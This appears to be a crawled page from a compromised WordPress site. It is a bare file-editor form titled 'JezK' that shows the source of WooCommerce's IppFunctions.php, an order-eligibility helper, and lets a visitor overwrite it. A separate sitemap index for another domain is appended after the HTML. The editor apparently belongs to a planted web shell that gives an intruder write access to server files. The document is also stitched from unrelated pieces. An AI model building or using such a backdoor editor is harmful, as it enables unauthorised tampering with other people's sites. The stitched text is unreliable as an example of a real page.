
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: IppFunctions.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php


namespace Automattic\WooCommerce\Internal\Orders;

use WC_Order;

/**
 * Class with methods for handling order In-Person Payments.
 */
class IppFunctions {

	/**
	 * Returns if order is eligible to accept In-Person Payments.
	 *
	 * @param WC_Order $order order that the conditions are checked for.
	 *
	 * @return bool true if order is eligible, false otherwise
	 */
	public static function is_order_in_person_payment_eligible( WC_Order $order ): bool {
		$has_status            = in_array( $order-&gt;get_status(), array( &#039;pending&#039;, &#039;on-hold&#039;, &#039;processing&#039; ), true );
		$has_payment_method    = in_array( $order-&gt;get_payment_method(), array( &#039;cod&#039;, &#039;woocommerce_payments&#039;, &#039;none&#039; ), true );
		$order_is_not_paid     = null === $order-&gt;get_date_paid();
		$order_is_not_refunded = empty( $order-&gt;get_refunds() );

		$order_has_no_subscription_products = true;
		foreach ( $order-&gt;get_items() as $item ) {
			$product = $item-&gt;get_product();

			if ( is_object( $product ) &amp;&amp; $product-&gt;is_type( &#039;subscription&#039; ) ) {
				$order_has_no_subscription_products = false;
				break;
			}
		}

		return $has_status &amp;&amp; $has_payment_method &amp;&amp; $order_is_not_paid &amp;&amp; $order_is_not_refunded &amp;&amp; $order_has_no_subscription_products;
	}

	/**
	 * Returns if store is eligible to accept In-Person Payments.
	 *
	 * @return bool true if store is eligible, false otherwise
	 */
	public static function is_store_in_person_payment_eligible(): bool {
		$is_store_usa_based    = self::has_store_specified_country_currency( &#039;US&#039;, &#039;USD&#039; );
		$is_store_canada_based = self::has_store_specified_country_currency( &#039;CA&#039;, &#039;CAD&#039; );

		return $is_store_usa_based || $is_store_canada_based;
	}

	/**
	 * Checks if the store has specified country location and currency used.
	 *
	 * @param string $country country to compare store&#039;s country with.
	 * @param string $currency currency to compare store&#039;s currency with.
	 *
	 * @return bool true if specified country and currency match the store&#039;s ones. false otherwise
	 */
	public static function has_store_specified_country_currency( string $country, string $currency ): bool {
		return ( WC()-&gt;countries-&gt;get_base_country() === $country &amp;&amp; get_woocommerce_currency() === $currency );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
